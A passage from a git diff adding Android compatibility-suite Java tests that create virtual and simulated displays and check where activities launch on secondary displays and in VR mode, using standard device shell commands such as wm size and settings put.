+ if (matcher.matches()) {
+ log(line);
+ result.mGlobalConfig = matcher.group(1);
+ }
+ }
+
+ return result;
+ }
+
+ /** Check if next line in dump matches the pattern and we should continue extracting. */
+ static boolean shouldContinueExtracting(LinkedList<String> dump, Pattern matchingPattern) {
+ if (dump.isEmpty()) {
+ return false;
+ }
+
+ final String line = dump.peek().trim();
+ return matchingPattern.matcher(line).matches();
+ }
+
+ DisplayState getDisplayState(int displayId) {
+ return mDisplayStates.get(displayId);
+ }
+
+ int getNumberOfDisplays() {
+ return mDisplayStates.size();
+ }
+
+ /** Return the display state with width, height, dpi */
+ DisplayState getDisplayState(int width, int height, int dpi) {
+ for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
+ final DisplayState ds = entry.getValue();
+ if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == dpi
+ && ds.getWidth() == width && ds.getHeight() == height) {
+ return ds;
+ }
+ }
+ return null;
+ }
+
+ /** Check if reported state is valid. */
+ boolean isValidState(int expectedDisplayCount) {
+ if (mDisplayStates.size() != expectedDisplayCount) {
+ return false;
+ }
+
+ for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
+ final DisplayState ds = entry.getValue();
+ if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == -1) {
+ return false;
+ }
+ }
+ return true;
+ }
+ }
+
+ ReportedDisplays getDisplaysStates() {
+ String dump = executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES);
+ mDumpLines.clear();
+
+ Collections.addAll(mDumpLines, dump.split("\\n"));
+
+ return ReportedDisplays.create(mDumpLines);
+ }
+
+ /** Find the display that was not originally reported in oldDisplays and added in newDisplays */
+ protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
+ ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
+ final ArrayList<DisplayState> displays = new ArrayList();
+
+ for (Integer displayId : newDisplays.mDisplayStates.keySet()) {
+ if (!oldDisplays.mDisplayStates.containsKey(displayId)) {
+ displays.add(newDisplays.getDisplayState(displayId));
+ }
+ }
+
+ return displays;
+ }
+
+ /**
+ * Create new virtual display.
+ * @param densityDpi provide custom density for the display.
+ * @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
+ * {@link LaunchingActivity} on primary display.
+ * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
+ * keyguard.
+ * @param mustBeCreated should assert if the display was or wasn't created.
+ * @param publicDisplay make display public.
+ * @param resizeDisplay should resize display when surface size changes.
+ * @param launchActivity should launch test activity immediately after display creation.
+ * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+ * @throws Exception
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
+ boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
+ boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
+ throws Exception {
+ // Start an activity that is able to create virtual displays.
+ if (launchInSplitScreen) {
+ getLaunchActivityBuilder().setToSide(true)
+ .setTargetActivityName(VIRTUAL_DISPLAY_ACTIVITY).execute();
+ } else {
+ launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
+ }
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+ final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
+
+ // Create virtual display with custom density dpi.
+ executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
+ publicDisplay, resizeDisplay, launchActivity, displayCount));
+ mVirtualDisplayCreated = true;
+
+ return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
+ }
+
+ /**
+ * Simulate new display.
+ * @param densityDpi provide custom density for the display.
+ * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
+ throws Exception {
+ final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
+
+ // Create virtual display with custom density dpi.
+ executeShellCommand(getSimulateDisplayCommand(densityDpi));
+ mDisplaySimulated = true;
+
+ return assertAndGetNewDisplays(1, originalDs);
+ }
+
+ /**
+ * Wait for desired number of displays to be created and get their properties.
+ * @param newDisplayCount expected display count, -1 if display should not be created.
+ * @param originalDS display states before creation of new display(s).
+ */
+ private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
+ int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
+ throws Exception {
+ final int originalDisplayCount = originalDS.mDisplayStates.size();
+
+ // Wait for the display(s) to be created and get configurations.
+ final ActivityManagerDisplayTests.ReportedDisplays ds =
+ getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
+ if (newDisplayCount != -1) {
+ assertEquals("New virtual display(s) must be created",
+ originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
+ } else {
+ assertEquals("New virtual display must not be created",
+ originalDisplayCount, ds.mDisplayStates.size());
+ return null;
+ }
+
+ // Find the newly added display(s).
+ final List<ActivityManagerDisplayTests.DisplayState> newDisplays
+ = findNewDisplayStates(originalDS, ds);
+ assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
+
+ return newDisplays;
+ }
+
+ /**
+ * Destroy existing virtual display.
+ */
+ void destroyVirtualDisplays() throws Exception {
+ if (mVirtualDisplayCreated) {
+ executeShellCommand(getDestroyVirtualDisplayCommand());
+ mVirtualDisplayCreated = false;
+ }
+ }
+
+ /**
+ * Destroy existing simulated display.
+ */
+ private void destroySimulatedDisplays() throws Exception {
+ if (mDisplaySimulated) {
+ executeShellCommand(getDestroySimulatedDisplayCommand());
+ mDisplaySimulated = false;
+ }
+ }
+
+ static class VirtualDisplayBuilder {
+ private final ActivityManagerDisplayTestBase mTests;
+
+ private int mDensityDpi = CUSTOM_DENSITY_DPI;
+ private boolean mLaunchInSplitScreen = false;
+ private boolean mCanShowWithInsecureKeyguard = false;
+ private boolean mPublicDisplay = false;
+ private boolean mResizeDisplay = true;
+ private String mLaunchActivity = null;
+ private boolean mSimulateDisplay = false;
+ private boolean mMustBeCreated = true;
+
+ public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
+ mTests = tests;
+ }
+
+ public VirtualDisplayBuilder setDensityDpi(int densityDpi) {
+ mDensityDpi = densityDpi;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setLaunchInSplitScreen(boolean launchInSplitScreen) {
+ mLaunchInSplitScreen = launchInSplitScreen;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
+ boolean canShowWithInsecureKeyguard) {
+ mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
+ mPublicDisplay = publicDisplay;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setResizeDisplay(boolean resizeDisplay) {
+ mResizeDisplay = resizeDisplay;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setLaunchActivity(String launchActivity) {
+ mLaunchActivity = launchActivity;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
+ mSimulateDisplay = simulateDisplay;
+ return this;
+ }
+
+ public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
+ mMustBeCreated = mustBeCreated;
+ return this;
+ }
+
+ public DisplayState build() throws Exception {
+ final List<DisplayState> displays = build(1);
+ return displays != null && !displays.isEmpty() ? displays.get(0) : null;
+ }
+
+ public List<DisplayState> build(int count) throws Exception {
+ if (mSimulateDisplay) {
+ return mTests.simulateDisplay(mDensityDpi);
+ }
+
+ return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
+ mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
+ mLaunchActivity, count);
+ }
+ }
+
+ private static String getCreateVirtualDisplayCommand(int densityDpi,
+ boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
+ String launchActivity, int displayCount) {
+ final StringBuilder commandBuilder
+ = new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
+ commandBuilder.append(" -f 0x20000000");
+ commandBuilder.append(" --es command create_display");
+ if (densityDpi != INVALID_DENSITY_DPI) {
+ commandBuilder.append(" --ei density_dpi ").append(densityDpi);
+ }
+ commandBuilder.append(" --ei count ").append(displayCount);
+ commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
+ .append(canShowWithInsecureKeyguard);
+ commandBuilder.append(" --ez public_display ").append(publicDisplay);
+ commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
+ if (launchActivity != null) {
+ commandBuilder.append(" --es launch_target_activity ").append(launchActivity);
+ }
+ return commandBuilder.toString();
+ }
+
+ private static String getDestroyVirtualDisplayCommand() {
+ return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
+ " --es command destroy_display";
+ }
+
+ private static String getSimulateDisplayCommand(int densityDpi) {
+ return "settings put global overlay_display_devices 1024x768/" + densityDpi;
+ }
+
+ private static String getDestroySimulatedDisplayCommand() {
+ return "settings delete global overlay_display_devices";
+ }
+
+ /** Wait for provided number of displays and report their configurations. */
+ ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount) {
+ ReportedDisplays ds = getDisplaysStates();
+
+ int retriesLeft = 5;
+ while (!ds.isValidState(expectedDisplayCount) && retriesLeft-- > 0) {
+ log("***Waiting for the correct number of displays...");
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ ds = getDisplaysStates();
+ }
+
+ return ds;
+ }
+
+ /** Checks if the device supports multi-display. */
+ boolean supportsMultiDisplay() {
+ return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
new file mode 100644
index 0000000..97c4863
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -0,0 +1,2090 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.Presubmit;
+import android.server.am.displayservice.DisplayHelper;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayTests
+ */
+public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
+ private static final String WM_SIZE = "wm size";
+ private static final String WM_DENSITY = "wm density";
+
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+ private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
+ private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+ private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
+ private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
+ private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
+ private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
+ private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
+ private static final String SECOND_PACKAGE_NAME = "android.server.am.second";
+ private static final String THIRD_PACKAGE_NAME = "android.server.am.third";
+ private static final int VR_VIRTUAL_DISPLAY_WIDTH = 70;
+ private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 90;
+ private static final int VR_VIRTUAL_DISPLAY_DPI = 320;
+
+ private DisplayHelper mExternalDisplayHelper;
+
+ /** Physical display metrics and overrides in the beginning of the test. */
+ private ReportedDisplayMetrics mInitialDisplayMetrics;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mInitialDisplayMetrics = getDisplayMetrics();
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ enablePersistentVrMode(false);
+ restoreDisplayMetricsOverrides();
+ if (mExternalDisplayHelper != null) {
+ mExternalDisplayHelper.releaseDisplay();
+ mExternalDisplayHelper = null;
+ }
+ setPrimaryDisplayState(true);
+ super.tearDown();
+ }
+
+ private void enablePersistentVrMode(boolean enabled) throws Exception {
+ if (enabled) {
+ executeShellCommand("setprop vr_virtualdisplay true");
+ executeShellCommand("vr set-persistent-vr-mode-enabled true");
+ } else {
+ executeShellCommand("vr set-persistent-vr-mode-enabled false");
+ executeShellCommand("setprop vr_virtualdisplay false");
+ }
+ }
+
+ private void restoreDisplayMetricsOverrides() throws Exception {
+ if (mInitialDisplayMetrics.sizeOverrideSet) {
+ executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
+ + mInitialDisplayMetrics.overrideHeight);
+ } else {
+ executeShellCommand("wm size reset");
+ }
+ if (mInitialDisplayMetrics.densityOverrideSet) {
+ executeShellCommand(WM_DENSITY + " " + mInitialDisplayMetrics.overrideDensity);
+ } else {
+ executeShellCommand("wm density reset");
+ }
+ }
+
+ /**
+ * Tests that the global configuration is equal to the default display's override configuration.
+ */
+ @Test
+ public void testDefaultDisplayOverrideConfiguration() throws Exception {
+ final ReportedDisplays reportedDisplays = getDisplaysStates();
+ assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+ final DisplayState primaryDisplay = reportedDisplays.getDisplayState(DEFAULT_DISPLAY_ID);
+ assertEquals("Primary display's configuration should not be equal to global configuration.",
+ reportedDisplays.mGlobalConfig, primaryDisplay.mOverrideConfig);
+ }
+
+ /**
+ * Tests that secondary display has override configuration set.
+ */
+ @Test
+ public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Find the density of created display.
+ final int newDensityDpi = newDisplay.getDpi();
+ assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
+ }
+
+ /**
+ * Tests that launch on secondary display is not permitted if device has the feature disabled.
+ * Activities requested to be launched on a secondary display in this case should land on the
+ * default display.
+ */
+ @Test
+ public void testMultiDisplayDisabled() throws Exception {
+ if (supportsMultiDisplay()) {
+ // Only check devices with the feature disabled.
+ return;
+ }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+
+ // Check that activity is on the right display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ assertEquals("Front stack must be on the default display", DEFAULT_DISPLAY_ID,
+ frontStack.mDisplayId);
+ mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
+ }
+
+ /**
+ * Tests that any new activity launch in Vr mode is in Vr display.
+ */
+ @Test
+ public void testVrActivityLaunch() throws Exception {
+ if (!supportsVrMode() || !supportsMultiDisplay()) {
+ // VR Mode is not supported on this device, bail from this test.
+ return;
+ }
+
+ // Put the device in persistent vr mode.
+ enablePersistentVrMode(true);
+
+ // Launch the VR activity.
+ launchActivity(VR_TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+ // Launch the non-VR 2D activity and check where it ends up.
+ launchActivity(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ // Ensure that the subsequent activity is visible
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Launched activity must be resumed in focused stack",
+ getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+ // Check if the launch activity is in Vr virtual display id.
+ final ReportedDisplays reportedDisplays = getDisplaysStates();
+ assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+ final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+ VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+ assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+ // Check if the focused activity is on this virtual stack.
+ assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Put the device out of persistent vr mode.
+ enablePersistentVrMode(false);
+ }
+
+ /**
+ * Tests that any activity already present is re-launched in Vr display in vr mode.
+ */
+ @Test
+ public void testVrActivityReLaunch() throws Exception {
+ if (!supportsVrMode() || !supportsMultiDisplay()) {
+ // VR Mode is not supported on this device, bail from this test.
+ return;
+ }
+
+ // Launch a 2D activity.
+ launchActivity(LAUNCHING_ACTIVITY);
+
+ // Put the device in persistent vr mode.
+ enablePersistentVrMode(true);
+
+ // Launch the VR activity.
+ launchActivity(VR_TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+ // Re-launch the non-VR 2D activity and check where it ends up.
+ launchActivity(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+ // Ensure that the subsequent activity is visible
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Launched activity must be resumed in focused stack",
+ getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+ // Check if the launch activity is in Vr virtual display id.
+ final ReportedDisplays reportedDisplays = getDisplaysStates();
+ assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+ final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+ VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+ assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+ // Check if the focused activity is on this virtual stack.
+ assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Put the device out of persistent vr mode.
+ enablePersistentVrMode(false);
+ }
+
+ /**
+ * Tests that any new activity launch post Vr mode is in the main display.
+ */
+ @Test
+ public void testActivityLaunchPostVr() throws Exception {
+ if (!supportsVrMode() || !supportsMultiDisplay()) {
+ // VR Mode is not supported on this device, bail from this test.
+ return;
+ }
+
+ // Put the device in persistent vr mode.
+ enablePersistentVrMode(true);
+
+ // Launch the VR activity.
+ launchActivity(VR_TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+ // Launch the non-VR 2D activity and check where it ends up.
+ launchActivity(ALT_LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+ // Ensure that the subsequent activity is visible
+ mAmWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
+
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", ALT_LAUNCHING_ACTIVITY);
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Launched activity must be resumed in focused stack",
+ getActivityComponentName(ALT_LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+ // Check if the launch activity is in Vr virtual display id.
+ final ReportedDisplays reportedDisplays = getDisplaysStates();
+ assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+ final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+ VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+ assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+ // Check if the focused activity is on this virtual stack.
+ assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Put the device out of persistent vr mode.
+ enablePersistentVrMode(false);
+
+ // There isn't a direct launch of activity which can take an user out of persistent VR mode.
+ // This sleep is to account for that delay and let device settle once it comes out of VR
+ // mode.
+ try {
+ Thread.sleep(2000);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ // Launch the non-VR 2D activity and check where it ends up.
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(RESIZEABLE_ACTIVITY_NAME).build());
+
+ // Ensure that the subsequent activity is visible
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", RESIZEABLE_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(RESIZEABLE_ACTIVITY_NAME), frontStack.mResumedActivity);
+ assertEquals("Front stack must be on primary display",
+ DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
+ }
+
+ @Test
+ public void testCreateMultipleVirtualDisplays() throws Exception {
+ // Create new virtual display.
+ final List<DisplayState> newDisplays = new VirtualDisplayBuilder(this).build(3);
+ destroyVirtualDisplays();
+ getDisplayStateAfterChange(1);
+ }
+
+ /**
+ * Tests launching an activity on virtual display.
+ */
+ @Presubmit
+ @Test
+ public void testLaunchActivityOnSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ final String logSeparator = clearLogcat();
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ TEST_ACTIVITY_NAME);
+
+ // Check that activity is on the right display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the secondary display and resumed",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+ // Check that activity config corresponds to display config.
+ final ReportedSizes reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY_NAME,
+ logSeparator);
+ assertEquals("Activity launched on secondary display must have proper configuration",
+ CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
+ }
+
+ /**
+ * Tests launching a non-resizeable activity on virtual display. It should land on the
+ * default display.
+ */
+ @Test
+ public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ NON_RESIZEABLE_ACTIVITY_NAME);
+
+ // Check that activity is on the right display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+ final ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the primary display and resumed",
+ getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+ }
+
+ /**
+ * Tests launching a non-resizeable activity on virtual display while split-screen is active
+ * on the primary display. It should land on the primary display and dismiss docked stack.
+ */
+ @Test
+ public void testLaunchNonResizeableActivityWithSplitScreen() throws Exception {
+ if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+ // Start launching activity.
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ // Create new virtual display.
+ final DisplayState newDisplay =
+ new VirtualDisplayBuilder(this).setLaunchInSplitScreen(true).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ NON_RESIZEABLE_ACTIVITY_NAME);
+
+ // Check that activity is on the right display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+ final ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be on the primary display and resumed",
+ getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+ mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ }
+
+ /**
+ * Tests moving a non-resizeable activity to a virtual display. It should land on the default
+ * display.
+ */
+ @Test
+ public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ // Launch a non-resizeable activity on a primary display.
+ launchActivityInNewTask(NON_RESIZEABLE_ACTIVITY_NAME);
+ // Launch a resizeable activity on new secondary display to create a new stack there.
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+ int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+
+ // Try to move the non-resizeable activity to new secondary display.
+ moveActivityToStack(NON_RESIZEABLE_ACTIVITY_NAME, frontStackId);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ NON_RESIZEABLE_ACTIVITY_NAME);
+
+ // Check that activity is on the right display.
+ frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
